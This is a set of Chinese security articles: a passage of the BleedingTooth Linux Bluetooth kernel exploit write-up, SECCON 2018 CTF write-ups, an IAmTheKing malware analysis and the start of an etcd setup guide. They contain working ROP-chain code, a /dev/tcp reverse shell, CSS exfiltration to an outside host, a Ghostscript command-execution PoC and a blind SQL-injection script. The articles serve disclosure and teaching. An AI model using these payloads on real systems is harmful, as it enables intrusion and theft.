// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
#define __BPF_PROG_RUN(prog, ctx, dfunc) ({ \
u32 ret; \
cant_migrate(); \
if (static_branch_unlikely(&bpf_stats_enabled_key)) { \
...
ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \
...
} else { \
ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \
} \
ret; })
#define BPF_PROG_RUN(prog, ctx) \
__BPF_PROG_RUN(prog, ctx, bpf_dispatcher_nop_func)
最后，调度程序以 `ctx` 和 `prog->insnsi` 作为参数调用 `prog->bpf_func()` 处理程序：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf.h
static __always_inline unsigned int bpf_dispatcher_nop_func(
const void *ctx,
const struct bpf_insn *insnsi,
unsigned int (*bpf_func)(const void *,
const struct bpf_insn *))
{
return bpf_func(ctx, insnsi);
}
总之，我们有：
sk->sk_filter->prog->bpf_func(skb, sk->sk_filter->prog->insnsi);
因为我们可以控制 `sk->sk_filter`，所以我们也可以控制后面的两个解引用。这最终让我们控制了 RIP，RSI
寄存器（第二个参数）指向我们的有效载荷。
#### 内核 Stack Pivoting
因为现在的 CPU 有 NX，所以不可能直接执行 shell 代码。然而，我们可以执行代码重用攻击，比如
ROP/JOP。当然，为了重用代码，我们必须知道它的位置，这就是为什么 KASLR 绕过是必不可少的。对于可能的攻击，ROP 通常比 JOP
更容易执行，但这需要我们重定向堆栈指针 RSP。出于这个原因，EXP 开发人员通常执行 JOP 来 Stack Pivot，然后以 ROP 链结束。
这个想法是将栈指针重定向到由 ROP gadgets 组成的有效载荷中的假栈，也就是我们的 ROP 链。因为我们知道 RSI 指向我们的载荷，所以我们想把
RSI 的值移动到 RSP。让我们看看是否有一个 gadget 可以让我们这样做。
要提取 gadgets，我们可以使用以下工具:
* [extract-vmlinux](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/scripts/extract-vmlinux) 解压缩 `/boot/vmlinuz`。
* [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) 从 `vmlinux` 提取 ROP gadgets。
寻找像 `mov rsp, X ; ret` 这样的 gadgets，我们可以看到，它们没有一个是有用的。
$ cat gadgets.txt | grep ": mov rsp.*ret"
0xffffffff8109410c : mov rsp, qword ptr [rip + 0x15bb0fd] ; pop rbx ; pop rbp ; ret
0xffffffff810940c2 : mov rsp, qword ptr [rsp] ; pop rbp ; ret
0xffffffff8108ef0c : mov rsp, rbp ; pop rbp ; ret
也许会有一些像 `push rsi ; pop rsp ; ret` 这样的？
$ cat gadgets.txt | grep ": push rsi.*pop rsp.*ret"
0xffffffff81567f46 : push rsi ; adc al, 0x57 ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff8156a128 : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret
0xffffffff81556cad : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff81c02ab5 : push rsi ; lcall [rbx + 0x41] ; pop rsp ; pop rbp ; ret
0xffffffff8105e049 : push rsi ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff81993887 : push rsi ; xchg eax, ecx ; lcall [rbx + 0x41] ; pop rsp ; pop r13 ; pop rbp ; ret
太好了，有很多可以使用的 gadgets。有趣的是，所有的 gadgets 都对 RBX+0x41 进行解引用，RBX+0x41
很可能是常用指令或指令序列的一部分。更详细地说，由于指令可以从 x86 中的任何字节开始，因此它们可以根据起始字节进行不同的解释。RBX+0x41
的解引用实际上可能会阻碍我们使用 gadgets —— 也就是说，如果 RBX 在执行 `bpf_func()`
时没有包含一个可写的内存地址，我们只会在执行 ROP 链之前陷入 panic 错误。幸运的是，在我们的例子中，RBX 指向 `struct amp_mgr`
对象，并且如果偏移量为 0x41 的字节发生更改，也不会有什么问题。
当选择 stack pivot gadget 作为 `bpf_func()` 的函数指针并触发它时，RSI 的值将被压入栈，然后从栈弹出，最后分配给
RSP。换句话说，栈指针将指向我们的有效载荷，一旦执行了 RET 指令，我们的 ROP 链就会启动。
static void build_payload(uint8_t data[0x400]) {
// Fake sk_filter object starting at offset 0x300.
*(uint64_t *)&data[0x318] = l2cap_chan_addr + 0x320; // prog
// Fake bpf_prog object starting at offset 0x320.
// RBX points to the amp_mgr object.
*(uint64_t *)&data[0x350] =
kaslr_offset +
PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET; // bpf_func
*(uint64_t *)&data[0x358] = 0xDEADBEEF; // rbp
// Build kernel ROP chain that executes run_cmd() from kernel/reboot.c.
// Note that when executing the ROP chain, the data below in memory will be
// overwritten. Therefore, the argument should be located after the ROP chain.
build_krop_chain((uint64_t *)&data[0x360], l2cap_chan_addr + 0x3c0);
strncpy(&data[0x3c0], remote_command, 0x40);
}
这样，我们终于实现了 RCE。为了调试我们的 stack pivot，看看我们是否成功，我们可以设置 `*(uint64_t
*)&data[0x360]=0x41414141` ，观察一个被控的 panic 错误。
#### 内核 ROP 链执行
现在，我们可以编写一个较大的 ROP 链来取回和执行 C 载荷，或者编写一个较小的 ROP 链来允许我们运行任意命令。为了进行
PoC（概念验证），我们已经满足于一个反向 shell，因此执行一个命令就足够了。受 write-up [CVE-2019-18683:
Exploiting a Linux kernel vulnerability in the V4L2
subsystem](https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html) 里描述的
ROP 链的启发，我们将构建一个链，通过 `/bin/bash -c /bin/bash</dev/tcp/IP/PORT` 来调用 `run_cmd()`
生成一个反向 shell，最后调用 `do_task_dead()` 来停止内核线程。在那之后，蓝牙将不再工作。在更复杂的漏洞利用中，我们将恢复执行。
为了确定这两种方法的偏移量，我们可以简单地检查受害者机器上留存的符号：
$ sudo cat /proc/kallsyms | grep "run_cmd\|do_task_dead"
ffffffffab2ce470 t run_cmd
ffffffffab2dc260 T do_task_dead
这里，KASLR slide 值是 0x2a200000，它可以通过对 `_text` 符号进行grep 并减去 `0xffffff81000000`
计算得出：
$ sudo cat /proc/kallsyms | grep "T _text"
ffffffffab200000 T _text
之前的两个地址减去 slide ：
#define RUN_CMD 0xffffffff810ce470
#define DO_TASK_DEAD 0xffffffff810dc260
最后，我们可以用 ROPgadget 找到 `pop rax ; ret`，`pop rdi ; ret` 和 `jmp rax` 等
gadgets，然后我们可以根据这个例子构建内核 ROP链：
static void build_krop_chain(uint64_t *rop, uint64_t cmd_addr) {
*rop++ = kaslr_offset + POP_RAX_RET;
*rop++ = kaslr_offset + RUN_CMD;
*rop++ = kaslr_offset + POP_RDI_RET;
*rop++ = cmd_addr;
*rop++ = kaslr_offset + JMP_RAX;
*rop++ = kaslr_offset + POP_RAX_RET;
*rop++ = kaslr_offset + DO_TASK_DEAD;
*rop++ = kaslr_offset + JMP_RAX;
}
这个 ROP 链应该放在假 `struct bpf_prog` 对象中的偏移量 0x40 处，`cmd_addr` 应该指向放置在内核内存中的 bash
命令。一切就绪，我们终于能从受害者身上取回 root shell 了。
## Proof-Of-Concept
POC 可在 <https://github.com/google/security-research/tree/master/pocs/linux/bleedingtooth> 上获得。
使用如下命令编译：
$ gcc -o exploit exploit.c -lbluetooth
并按如下方式执行：
$ sudo ./exploit target_mac source_ip source_port
在另一个终端中，运行：
$ nc -lvp 1337
exec bash -i 2>&0 1>&0
如果成功，会弹出一个计算器：
export XAUTHORITY=/run/user/1000/gdm/Xauthority
export DISPLAY=:0
gnome-calculator
偶尔，受害者可能在 dmesg 打印 `Bluetooth: Trailing bytes: 6 in sframe`。 如果 kmalloc-128
slab 喷射没有成功，就会发生这种情况。这种情况下，我们需要重新执行一次 EXP。关于名称 “BadKarma”， _BadKarma_ 漏洞偶尔会在
`sk_filter()` 提早退出，例如当字段 `sk_filter` 为 0 时，继续执行 A2MP 接收处理程序并发回一个 A2MP 响应包。
有趣的是，当这种情况发生时，受害者的机器并没有 panic 错误 —— 相反，攻击者的机器会陷入 panic 错误；因为，正如我们前面所了解的，A2MP
协议使用的 ERTM 实现在设计上会触发类型混淆。
## 时间线
2020-07-06 —— 在谷歌内部发现 _BadVibes_ 漏洞
2010-07-20 —— _BadKarma_ 和 _BadChoice_ 漏洞在谷歌内部发现
2020-07-22 —— Linus Torvalds报告了对 BlueZ 的 _BadVibes_ 漏洞的独立发现，并在 7 天时间内披露
2020-07-24 —— 报告给 [BlueZ
主要开发人员](http://www.bluez.org/development/credits/)（intel）的三个 BleedingTooth
漏洞的技术细节
2020-07-29 —— Intel 将于 2010-07-31 与谷歌召开会议
2020-07-30 —— _BadVibes_ 补丁发布
2020-07-31 —— Intel 将披露日期定在 2020-09-01，并在 Intel 的协调下提前披露保密协议。通知方通过 kconfig
给出一个非安全性提交消息来禁用BT_HS
2020-08-12 —— Intel 调整披露日期至 2020-10-13（距离首次报告 90 天）
2020-09-25 —— Intel 向公共 [bluetooth-next](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/net/bluetooth?id=f19425641cb2572a33cb074d5e30283720bd4d22)
分支提交补丁
2020-09-29 —— 补丁与 [5.10 linux-next
分支](https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/net/bluetooth?id=2bd056f550808eaa2c34a14169c99f81ead083a7)合并
2020-10-13 —— 公开披露 Intel 的建议，随后披露 Google 的建议
2020-10-14 —— Intel 将推荐的固定版本从 5.9 修正到 5.10 内核
2020-10-15 —— Intel 删除内核升级建议
## 总结
从零知识开始到发现蓝牙 HCI 协议中的三个漏洞，这一过程既奇怪又出乎意料。当我第一次发现 _BadVibes_
漏洞时，我以为它只是由漏洞/恶意蓝牙芯片触发的，因为这个漏洞似乎太明显了。因为我没有两个带蓝牙 5
的可编程设备，我无法验证是否有可能收到这么大的播报。之后对照 Linux 与其他实现的蓝牙协议栈并阅读规范，我得出结论，我的确发现了我的第一个 RCE
漏洞，我立即去购买了另外的一台笔记本电脑（令人惊讶的是，市场上没有值得信赖的蓝牙 5
适配器）。通过分析溢出，我们很快就发现需要一个额外的信息泄漏漏洞。仅仅两天之后，我就发现了 _BadChoice_
，这比我想象的要快得多。在试图触发它时，我发现了 _BadKarma_ 漏洞，我最初认为它是一个会阻止 _BadChoice_ 漏洞的不幸
bug。事实证明，绕过这个漏洞相当容易，而且这个漏洞实际上是另一个高度严重的安全漏洞。研究 Linux 蓝牙协议栈和利用 RCE
漏洞具有挑战性，但也令人兴奋，特别是因为这是我第一次审计和调试 Linux
内核。这项工作的结果令我很高兴，[在默认情况下禁用蓝牙高速功能](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/net/bluetooth?id=b176dd0ef6afcb3bca24f41d78b0d0b731ec2d08)以减少攻击面，这也意味着删除强大的堆原语。
此外，我将从这项研究中获得的知识转化为 [syzkaller
contributions](https://github.com/google/syzkaller/commits?author=TheOfficialFloW)，使
fuzz `/dev/vhci` 设备成为可能，并发现额外的 >40 个bug。尽管大多数 bug
都不太可能被利用，或者远程触发，但它们允许工程师识别和修复其他弱点（[Bluetooth: Fix null pointer dereference in
hci_event_packet()](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=b50dc237ac04d499ad4f3a92632470a9eb844f7d), [Bluetooth: Fix
memory leak in
read_adv_mon_features()](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=cafd472a10ff3bccd8afd25a69f20a491cd8d7b8) or [Bluetooth:
Fix slab-out-of-bounds read in
hci_extended_inquiry_result_evt()](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=51c19bf3d5cfaa66571e4b88ba2a6f6295311101)）因此有助于拥有一个更安全、更稳定的内核。
## 感谢
Dirk Göhmann
Eduardo Vela
Francis Perron
Jann Horn | 社区文章 |
## ghostkingdom
SEECON 2018 唯一的一道 Web 题，不过确实挺好玩的。。
首先打开题目链接：<http://ghostkingdom.pwn.seccon.jp/FLAG/>
很明显我们需要 getshell 或者是执行相应的 `ls /var/www/html/FLAG` 命令，列出目录下的文件
然后我们继续往下看题目的功能，首先是最基本的 注册 / 登录：
进来之后是个很明显的菜单界面：
功能如下：
* Message to admin
* Take a screenshot
* Upload image(only localhost)
然后我们来具体看每项功能：
### Message to admin
可以看到第一项功能是向管理员发送消息，我们可以构造两种消息： `Normal` 和 `Emergency`:
但二种本质上是一样的，都是通过 URL 来传递相应参数，我们可以看到
`http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=233&action=msgadm2`
和对应的源代码：
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja">
<head>
<title>SECCON 2018</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body bgcolor="black">
<!-- by KeigoYAMAZAKI, 2018.08.31- --><style>h2{border:double #668ad8;border-width:6px 0 6px 0;padding:10px;color:#668ad8} .main{background-color:#e1e1e1;color:black;width:85%;padding:60px;margin:40px auto;border:2px solid #C6B665}.msg{padding:15px;border:1px solid black} .ok{color:blue} .warn{color:orange} .err{color:red} .green{background-color:lightgreen} .btn{background:#668ad8;color:white;padding:0.5em;margin:10px} .sshot{border:2px solid white}</style><img src="seccon2018_logo.png"><div class="main"><form action="?" method="get"><style>span{background-color:red;color:yellow}</style>
<span class="msg">Message: 233</span>
<input type="hidden" name="csrf" value="4b51b0980ba510e7f713da">
<input type="hidden" name="action" value="msgadm3">
<input type="submit" class="btn" value="Send to admin">
很明显 `css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9` 对应的是字符串
`span{background-color:red;color:yellow}`，而 `msg=233` 对应 `Message:
233`。这里想直接进行 html 标签的注入，但很遗憾发现 `<>` 会被转义：
<form action="?" method="get"><style></sytle>
</style>
<span class="msg">Message: </span></span>
那么 xss 的注入点被限制到了很小的范围，我们仅能通过 `<style>span {background: url(xxx)}</style>`
的方式发起特定的 GET 请求，虽然看上去用处不大，但会在后续的解题中使用。
### Take a screenshot
第二项功能比较简单，程序会去访问你指定的 URL 并将相应的结果返回：
很明显，这里存在着 SSRF，我们可以通过该操作触发服务端的访问，如通过访问 `http://localhost` 来查看从 localhost
端登录的效果，但这里存在着一个限制：
You can not use URLs that contain the following keywords: 127, ::1, local
绕过的方式有很多种，我用来 `http://0.0.0.0` 来绕过该限制：
## XSS + SSRF
我们现在已知了本题存在的两个利用点：XSS 和 SSRF，下面需要思考的是利用这两个点来做什么文章。
很明显，我们需要想办法让我们在题目环境外访问到 _Upload image_ 这项功能，通过尝试之后发现通过 `X-Forwarded-For` 等
header 无效，也无法通过 SSRF 来间接访问，因为相应的回显仅仅是一张截图，无法进行任何操作。
此时，我们关注到这么一个现象，即我们的 `Cookie: CGISESSID=405b0d4750c3371e26f519` 和 Preview 页面的
csrf token 一致，那么是不是等价于我们只要获得了相应的 csrf token，即可通过修改 cookie 的方式切换登录的状态。
此时想到了 Google CTF 一道题 cat chat 的思路，利用 css 选择器进行 xss，泄露出页面的敏感信息。在这里，我们需要泄露的敏感信息是
`<input type="hidden" name="csrf" value="48cab678ef3b27b008e60d">` 标签的 value
信息，所以我们可以这样来写 payload：
input[value^="0"] {background: url(http://server?csrf=0)}
input[value^="1"] {background: url(http://server?csrf=1)}
input[value^="2"] {background: url(http://server?csrf=2)}
input[value^="3"] {background: url(http://server?csrf=3)}
input[value^="4"] {background: url(http://server?csrf=4)}
input[value^="5"] {background: url(http://server?csrf=5)}
input[value^="6"] {background: url(http://server?csrf=6)}
input[value^="7"] {background: url(http://server?csrf=7)}
input[value^="8"] {background: url(http://server?csrf=8)}
input[value^="9"] {background: url(http://server?csrf=9)}
input[value^="a"] {background: url(http://server?csrf=a)}
input[value^="b"] {background: url(http://server?csrf=b)}
input[value^="c"] {background: url(http://server?csrf=c)}
input[value^="d"] {background: url(http://server?csrf=d)}
input[value^="e"] {background: url(http://server?csrf=e)}
input[value^="f"] {background: url(http://server?csrf=f)}
只要 value 的值和猜测中的一项成功匹配，我们即可从自己的服务器接收到相应数据，然后每次猜测 csrf token 的一位，共需猜解 22 位。但由于
Send to admin 功能是无效的，我们必须用第二部分介绍的 SSRF 触发 XSS 操作。
为了方便操作，可以利用 python 帮助我们构造 payload:
def getBase64(s):
z = []
for i in '0123456789abcdef':
st = s + i
z.append('input[value^="{}"] {{background: url(http://server?csrf={})}}'.format(st, st))
return base64.b64encode('\n'.join(z))
def formatURL(s):
return "http://0.0.0.0/?css={}&action=msgadm2".format(s)
formatURL(getBase64(''))
PS：不知道为什么我爆到前 14 位就会卡住，所以后 8 位可以从尾部开始匹配：
def getBase64(s):
z = []
for i in "0123456789abcdef":
st = i+s
z.append('input[value$="{}"] {{background: url(http://5ax2cw.ceye.io?csrf={})}}'.format(st, st))
return base64.b64encode('\n'.join(z))
操作过程如下：
1. 通过 SSRF 访问 [http://0.0.0.0/?user=密码&pass=账号&action=login](http://0.0.0.0/?user=密码&pass=账号&action=login) 在服务端登录
2. 通过 SSRF 访问 [http://0.0.0.0/?css=payload&action=msgadm2](http://0.0.0.0/?css=payload&action=msgadm2) 触发 XSS，逐个字节爆破你的 cookie
（PS:之所以要先登录是因为你想要获得的是你在 localhost 状态下的 cookie，所以你必须在远端触发一次登录操作
成功获得 cookie: `405b0d4750c3371e26f519`
## GhostScript
现在我们终于可以上传图片了，首先任意上传一张错误的图片：
然后尝试触发 **Convert to GIF format** ，得到报错：
convert: Not a JPEG file: starts with 0x62 0x6f `/var/www/html/images/05b12f2ee7ee7192e645c705fe50d1dc.jpg' @ error/jpeg.c/JPEGErrorHandler/316. convert: no images defined `/var/www/html/images/05b12f2ee7ee7192e645c705fe50d1dc.gif' @ error/convert.c/ConvertImageCommand/3046.
/images/05b12f2ee7ee7192e645c705fe50d1dc.gif
根据报错搜索可以得到相应程序使用的库：imagemagick，然后继续搜索 imagemagick 相关的漏洞，得到
[Ghostscript命令执行漏洞](https://www.secrss.com/articles/4753)，结合题目标题
ghostkingdom，很明显地提示了相应考点：ghostscript 的命令执行。
于是从网上借鉴一个 POC:
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops
列出目录后得到 flag 文件名为 `FLAGflagF1A8.txt`，继续构造，获得 flag
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops
## 总结
本题结合了 XSS / SSRF / GhostScript 命令执行漏洞，环环相扣，可以说是非常有趣了。另外听说貌似还有道表面 Reverse 题，考的是
SQL 注入，有空做了继续贴在这里。。
## Shooter
当初以为这道题既然只挂了 RE，肯定还是道 Reverse 题目，没想到后半部分还真的是道 Web，坑队友了…当时说账户密码是不是还藏在 apk
文件里什么的…
前面 Re 的部分不再赘述（毕竟不会），我们来看后半部分的 SQL
注入部分。首先是关注到这样一个链接：<http://staging.shooter.pwn.seccon.jp/admin/sessions/new>
，是个登录界面：
由于是复现的就只关注写脚本了，哪位大佬能告诉我是怎么 fuzz 出注入点的，完全不会（哭泣
总之在 password 使用 `'))) union select 1#` 可以登录成功，但很明显的由于没有回显，所以只能尝试盲注。可以注意到 `')))
union select 1#` 和 `'))) union select NULL#`
是两种不同的结果，前者显示登录成功，后者则是回到该页面继续登录，所以可以根据这一特点进行盲注，盲注脚本如下：
import string
import requests
from bs4 import BeautifulSoup
s = requests.Session()
def judge(text):
return len(text) < 1772
def get(url):
return s.get(url)
def post(url, data):
return s.post(url, data=data)
def test(payload):
text = get('http://staging.shooter.pwn.seccon.jp/admin/sessions/new').text
html = BeautifulSoup(text, 'lxml')
inputs = html.find_all('input')
csrf_token = inputs[1]['value']
data = {
'authenticity_token': csrf_token,
'login_id': 'admin',
'password': payload,
'commit': 'Login'
}
return post('http://staging.shooter.pwn.seccon.jp/admin/sessions', data)
def blind_inject(s):
r = ''
while True:
left = 0
right = 128
while left <= right:
mid = (left + right) // 2
c = chr(mid)
if c == "'" or c == "#":
mid += 1
c = chr(mid)
payload = s.format(len(r)+1, c)
if judge(test(payload).text):
left = mid + 1
else:
right = mid - 1
if left == 0 or left == 32:
break
else:
print(left)
r += chr(left)
print(r)
return r
def main():
# database: SHOOTER_STAGING
# blind_inject("'))) union SELECT if(SUBSTR(database(),{},1) > '{}', 1, NULL)#")
#
# table: AR_INTERNAL_METADATA,FLAGS ...
# blind_inject("'))) union SELECT if(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),{},1) > '{}', 1, NULL)#")
#
# column: ID,VALUE,CREATED_AT,UPDATED_AT
# blind_inject("'))) union SELECT if(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flags'), {},1) > '{}', 1, NULL)#")
#
# flag
blind_inject("'))) union SELECT if(substr((SELECT value FROM flags where id = 1), {},1) > '{}', 1, NULL)#")
if __name__ == '__main__':
main()
最后获得 flag：SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}
## 参考文章
* [ghostscript命令执行复现POC](https://bbs.ichunqiu.com/thread-44747-1-1.html)
* <https://www.anquanke.com/post/id/157513>
* [GhostScript命令执行漏洞](http://uuzdaisuki.com/2018/08/22/GhostScript%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/)
* [GhostKingdom writeup by noraneco](https://graneed.hatenablog.com/entry/2018/10/28/150722)
* [shooter writeup by PDKT](https://github.com/PDKT-Team/ctf/tree/master/seccon2018/shooter) | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/>**
### 前言
2020年10月1日，DHS CISA机构发布了有关SlothfulMedia的恶意软件家族的信息。
2018年6月，我们基于恶意软件样本中发现的恶意软件字符串，发布了有关IAmTheKing的新活动集群的第一份报告。有趣的是，其中包含了其他字符串“kapasiky
antivirus”，“leave [them] alone”。
随着时间的推移，我们发现了这个攻击者使用了三个不同的恶意软件家族，其中一个是SlothfulMedia。
### IAmTheKing的工具集
#### KingOfHearts
这个C
++后门包含上面讨论的字符串，是我们遇到的这个工具集的第一个元素。它具有EXE或DLL变体形式。我们认为它是通过包含恶意Word文档的鱼叉式网络钓鱼电子邮件分发的，但我们无法获取其中的样本。感染过程依赖于PowerShell脚本，该脚本从远程服务器下载隐藏在映像文件中的base64编码的有效负载。
在功能方面，KingOfHearts仅提供：
* 任意命令执行。
* 文件系统操作：列出驱动器和文件，删除，上传和下载数据等。
* 列出正在运行的进程，并可以选择终止其中任何一个。
* 使用自定义的独立实用程序捕获屏幕截图。
攻击者没有开发复杂的功能，而是选择包括反调试和虚拟化检测例程。与C2服务器的通信通过HTTP（S）进行，使用wsdlpull开源库实现。后门每秒通过向C2发送心跳（“
HEART”命令，因此命名）来查找新订单。
我们确定了两个主要的开发分支：其中一个发送url编码的POST数据，另一个发送JSON对象。两者都被同时使用，并且在其他方面显示出相同的功能，我们无法明确攻击者如何选择其中之一。
#### QueenOfHearts
QueenOfHearts通过HTTP与C2服务器进行交互。它发送简单的GET请求，其中包含后门标识符和可选的受害机器信息，然后读取位于答复的Cookie标头中的订单。订单以两个字母的代码形式出现（例如：“
xe”表示驱动器列表），这些代码在样本之间往往会有所不同。到今天为止，该系列仍处于活跃的开发中，我们已经观察到代码重构以及2020年以后的增量升级。例如，以往的后门响应在POST请求中作为base64编码的有效载荷发送。但是现在，它们已经预先压缩，并通过cookie标头另外提供。
#### QueenOfClubs
QueenOfClubs似乎与QueenOfHearts扮演着相同的角色。此C
++后门还提供与KingOfHearts类似的功能，并具有执行任意Powershell脚本的功能。区别是，此屏幕快照捕获功能直接嵌入程序中，而不是由单独的实用程序处理。
它与QueenOfHearts有许多联系：
* 两种恶意软件中都可以找到相同的硬编码文件名。
* 许多命令和控制服务器同时处理来自两个系列的流量。
* QueenOfHearts和QueenOfClubs有时会同时部署在受感染的计算机上。
#### JackOfHearts
JackOfHearts是与QueenOfHearts相关的放置器：其作用是将恶意软件写入磁盘上的某个位置（例如：%AppData%\mediaplayer.exe），并创建指向该恶意软件的Windows服务以及启动文件夹中的快捷方式，还用于立即启动QueenOfHearts。此快捷方式包含DHS
CISA报告突出显示的“david”用户的引用。
最后，放置程序在%TEMP%文件夹中创建一个自我删除实用程序，以将其自身从文件系统中删除。
截至2020年，JackOfHearts仍用于部署QueenOfHearts。
#### Screenshot capture utility
它可以捕获屏幕截图并将其另存为“ MyScreen.jpg”。它有时直接嵌入QueenOfHearts内部，但也可以与KingOfHearts一起使用。
#### Powershell后门
IAmTheKing还利用广泛的Powershell脚本库。最近的感染媒介涉及通过电子邮件发送的存档，其中包含伪装成Word文档的LNK文件。单击这些链接将导致执行Powershell后门，该后门会隐藏在自定义Windows事件日志中，并通过HTTPS，DNS甚至POP3S检索其他脚本。
C2服务器提供PNG文件，其中包含隐藏的其他Powershell脚本。执行此操作的代码来自开源项目Invoke-PSImage。这使攻击者可以在受害机器上暂存组件，例如：
* 用Powershell编写的信息窃取实用程序，用于收集在受害者计算机上找到的所有文档，并将它们发送到受密码保护的RAR存档中。这些存档通过电子邮件发送回攻击者。
* 一个命令执行实用程序，可从DNS TXT记录获取订单。完成此任务的代码来自另一个开源项目Nishang。
* 一个信息收集实用程序，负责通过WMI查询收集正在运行的进程，磁盘驱动器和已安装的程序。它还可能会窃取Chrome浏览器保存的密码。
* 一个扩展程序脚本，列出了连接到域的计算机，并尝试在每个计算机上打开共享以复制二进制文件并创建远程计划任务。
* 自制的键盘记录程序。
* QueenOfHearts。
#### 横向运动
一旦攻击者通过上述任何工具获得了对计算机的访问权限，攻击者就会利用众所周知的安全测试程序来破坏网络上的其他计算机。我们发现了对目标采取以下行动的证据：
* Microsoft的SysInternals套件：ProcDump用于转储exe进程，而PsExec用于在远程主机上运行命令。
* LaZagne和Mimikatz收集受感染计算机上的凭据。
* 内置的网络实用程序，例如ipconfig.exe，net.exe和ping.exe等，用于网络发现。
### 影响
受害者包括政府机构和国防承包商、公共发展机构、大学和能源部门的公司。这个攻击者感兴趣的地理区域非常特殊，以至于KingOfHearts、QueenOfHearts甚至JackOfHearts的最新版本都包含了专门引用俄语字符集的代码：
在2020年，我们在中亚和东欧国家发现了涉及IAmTheKing的事件。国土安全局还报告了在乌克兰和马来西亚的活动。然而，数据显示，俄罗斯绝大多数仍然是IAmTheKing的主要行动区。
### 结论
IAmTheKing已经活跃了数年。基于IAmTheKing所遵循的信息类型，我们认为它是国家赞助的。它的工具集正在迅速发展，并且尝试使用非标准的通信渠道。该组织的特点是精通传统的渗透测试方法并且掌握Powershell。我们获得的数据表明，它已经在许多场合攻击成功。
* * * | 社区文章 |
# etcd未授权访问的风险及修复方案详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：唐银@涂鸦智能安全实验室
## 一、etcd简介
etcd是一个具有强一致性的分布式 key-value
存储组件。采用类似目录结构的方式对数据进行存储，仅在叶子结点上存储数据，叶子结点的父节点为目录，不能存储数据。
“etcd”这个名字源自两个想法：unix “/etc” 目录和 “d” istributed 分布式系统。“/etc”
目录是用于存储单个系统的配置数据的位置，而 etcd 用于存储大规模分布式的配置信息。因此，加了 “d” 的 “/etc” 就是 “etcd”。
etcd使用比较多的场景包括服务注册与发现、键值对存储、消息发布订阅等。
在kubernetes中，etcd存储集群状态和配置信息，以用于服务发现和集群管理。
## 二、测试环境搭建
测试环境说明：
* etcdctl在本机运行；
* etcd集群部署在虚拟机中的docker下；
* 虚拟机环境：CentOS 7；
* 虚拟机ip：192.168.126.143
首先拉取etcd镜像
docker pull quay.io/coreos/etcd:v3.3.1
# 查看镜像
docker images
创建自定义网络
docker network create --driver bridge --subnet=172.16.1.0/16 --gateway=172.16.1.1 mynet
# 查看网络
docker network ls
创建etcd节点
节点1:
docker run -d -p 23791:2379 -p 23801:2380 \
--name etcdnode1 \
--network=mynet \
--ip 172.16.2.1 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode1 \
-advertise-client-urls http://172.16.2.1:2379 \
-initial-advertise-peer-urls http://172.16.2.1:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new
节点2
docker run -d -p 23792:2379 -p 23802:2380 \
--name etcdnode2 \
--network=mynet \
--ip 172.16.2.2 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode2 \
-advertise-client-urls http://172.16.2.2:2379 \
-initial-advertise-peer-urls http://172.16.2.2:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new
节点3:
docker run -d -p 23793:2379 -p 23803:2380 \
--name etcdnode3 \
--network=mynet \
--ip 172.16.2.3 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode3 \
-advertise-client-urls http://172.16.2.3:2379 \
